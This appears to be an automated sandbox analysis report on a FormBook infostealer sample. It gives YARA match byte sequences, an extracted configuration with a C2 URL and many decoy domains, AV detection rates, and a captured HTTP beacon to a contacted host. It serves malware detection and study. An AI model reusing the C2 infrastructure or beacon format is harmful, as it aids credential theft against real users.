6.0.7TupDHKAwm.exe.400000.8.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a49:$sqlite3step: 68 34 1C 7B E1 0x17b5c:$sqlite3step: 68 34 1C 7B E1 0x17a78:$sqlite3text: 68 38 2A 90 C5 0x17b9d:$sqlite3text: 68 38 2A 90 C5 0x17a8b:$sqlite3blob: 68 53 D8 7F 8C 0x17bb3:$sqlite3blob: 68 53 D8 7F 8C
6.0.7TupDHKAwm.exe.400000.8.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.7TupDHKAwm.exe.400000.8.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.7TupDHKAwm.exe.400000.8.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
0.2.7TupDHKAwm.exe.24518b8.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
6.0.7TupDHKAwm.exe.400000.6.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.7TupDHKAwm.exe.400000.6.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.7TupDHKAwm.exe.400000.6.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a49:$sqlite3step: 68 34 1C 7B E1 0x17b5c:$sqlite3step: 68 34 1C 7B E1 0x17a78:$sqlite3text: 68 38 2A 90 C5 0x17b9d:$sqlite3text: 68 38 2A 90 C5 0x17a8b:$sqlite3blob: 68 53 D8 7F 8C 0x17bb3:$sqlite3blob: 68 53 D8 7F 8C
0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x133dd8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x134052:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1611f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x161472:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13fb85:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x16cfa5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13f671:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16ca91:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13fc87:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x16d0a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13fdff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x16d21f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x134a6a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x161e8a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x13e8ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x16bd0c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x135763:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x162b83:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x145df7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x173217:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x146dfa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x142d19:$sqlite3step: 68 34 1C 7B E1 0x142e2c:$sqlite3step: 68 34 1C 7B E1 0x170139:$sqlite3step: 68 34 1C 7B E1 0x17024c:$sqlite3step: 68 34 1C 7B E1 0x142d48:$sqlite3text: 68 38 2A 90 C5 0x142e6d:$sqlite3text: 68 38 2A 90 C5 0x170168:$sqlite3text: 68 38 2A 90 C5 0x17028d:$sqlite3text: 68 38 2A 90 C5 0x142d5b:$sqlite3blob: 68 53 D8 7F 8C 0x142e83:$sqlite3blob: 68 53 D8 7F 8C 0x17017b:$sqlite3blob: 68 53 D8 7F 8C 0x1702a3:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 20 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.agentpathleurre.space/s18y/"], "decoy": ["jokes-online.com", "dzzdjn.com", "lizzieerhardtebnaryepptts.com", "interfacehand.xyz", "sale-m.site", "block-facebook.com", "dicasdamadrinha.com", "maythewind.com", "hasari.net", "omnists.com", "thevalley-eg.com", "rdfj.xyz", "szhfcy.com", "alkalineage.club", "fdf.xyz", "absorplus.com", "poldolongo.com", "badassshirts.club", "ferienwohnungenmv.com", "bilboondokoak.com", "ambrosiaaudio.com", "lifeneurologyclub.com", "femboys.world", "blehmails.com", "gametimebg.com", "duytienauto.net", "owerful.com", "amedicalsupplyco.com", "americonnlogistics.com", "ateamautoglassga.com", "clickstool.com", "fzdzcnj.com", "txtgo.xyz", "izassist.com", "3bangzhu.com", "myesstyle.com", "aek181129aek.xyz", "daoxinghumaotest.com", "jxdg.xyz", "restorationculturecon.com", "thenaturalnutrient.com", "sportsandgames.info", "spiderwebinar.net", "erqgseidx.com", "donutmastermind.com", "aidatislemleri-govtr.com", "weetsist.com", "sunsetschoolportaits.com", "exodusguarant.tech", "gsnbls.top", "huangdashi33.xyz", "amazonretoure.net", "greathomeinlakewood.com", "lenovoidc.com", "qiuhenglawfirm.com", "surveyorslimited.com", "carterscts.com", "helmosy.online", "bakersfieldlaughingstock.com", "as-payjrku.icu", "mr-exclusive.com", "givepy.info", "ifvita.com", "obesocarpinteria.online"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 7TupDHKAwm.exe	Virustotal: Detection: 18%			Perma Link
Source: 7TupDHKAwm.exe	ReversingLabs: Detection: 13%

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.7TupDHKAwm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.7TupDHKAwm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Source: 6.0.7TupDHKAwm.exe.400000.4.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.2.7TupDHKAwm.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.7TupDHKAwm.exe.400000.8.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.7TupDHKAwm.exe.400000.6.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: 7TupDHKAwm.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 7TupDHKAwm.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: WWAHost.pdb source: 7TupDHKAwm.exe, 00000006.00000002.743281068.0000000003530000.00000040.00020000.sdmp
Source:	Binary string: WWAHost.pdbUGP source: 7TupDHKAwm.exe, 00000006.00000002.743281068.0000000003530000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 7TupDHKAwm.exe, 00000006.00000002.742147357.0000000001870000.00000040.00000001.sdmp, WWAHost.exe, 0000000B.00000003.741705800.00000000038D0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 7TupDHKAwm.exe, 00000006.00000002.742147357.0000000001870000.00000040.00000001.sdmp, WWAHost.exe

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 4x nop then pop esi	6_2_00417326
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 4x nop then pop edi	6_2_00417DA8
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 4x nop then pop esi	11_2_00A27326
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 4x nop then pop edi	11_2_00A27DA8

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.amazonretoure.net
Source: C:\Windows\explorer.exe	Network Connect: 46.38.243.234 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.lenovoidc.com

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.agentpathleurre.space/s18y/

Source: Joe Sandbox View

ASN Name: NETCUP-ASnetcupGmbHDE NETCUP-ASnetcupGmbHDE

Source: global traffic

HTTP traffic detected: GET /s18y/?oVJ4Hplp=C+VjjyIyz5JhIAiSdyGuho+nJXOtpZEvhjPesU35WHH5HFWifcx9eas6lvx4xbPC6vhC&TlZlo=3fdTDXLHN2n HTTP/1.1Host: www.amazonretoure.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 30 Oct 2021 07:05:50 GMTServer: Apache/2.4.10 (Debian)Content-Length: 283Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 6d 61 7a 6f 6e 72 65 74 6f 75 72 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at www.amazonretoure.net Port 80</address></body></html>

Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 7TupDHKAwm.exe, 00000000.00000002.690187917.0000000006EA0000.00000004.00020000.sdmp	String found in binary or memory: http://www.collada.org/2005/11/COLLADASchema9Done
Source: 7TupDHKAwm.exe, 00000000.00000002.685710945.0000000000B17000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 7TupDHKAwm.exe, 00000000.00000002.685710945.0000000000B17000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: 7TupDHKAwm.exe, 00000000.00000002.685710945.0000000000B17000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comgrita
Source: 7TupDHKAwm.exe, 00000000.00000002.685710945.0000000000B17000.00000004.00000040.sdmp	String found in binary or memory: http://www.fontbureau.comicet
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Source: unknown

DNS traffic detected: queries for: www.lenovoidc.com

Source: global traffic

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.7TupDHKAwm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.7TupDHKAwm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 6.0.7TupDHKAwm.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.7TupDHKAwm.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.7TupDHKAwm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.7TupDHKAwm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.7TupDHKAwm.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.7TupDHKAwm.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.7TupDHKAwm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.7TupDHKAwm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.7TupDHKAwm.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.7TupDHKAwm.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.7TupDHKAwm.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.7TupDHKAwm.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.7TupDHKAwm.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.7TupDHKAwm.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: 7TupDHKAwm.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 6.0.7TupDHKAwm.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.7TupDHKAwm.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.7TupDHKAwm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.7TupDHKAwm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.7TupDHKAwm.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
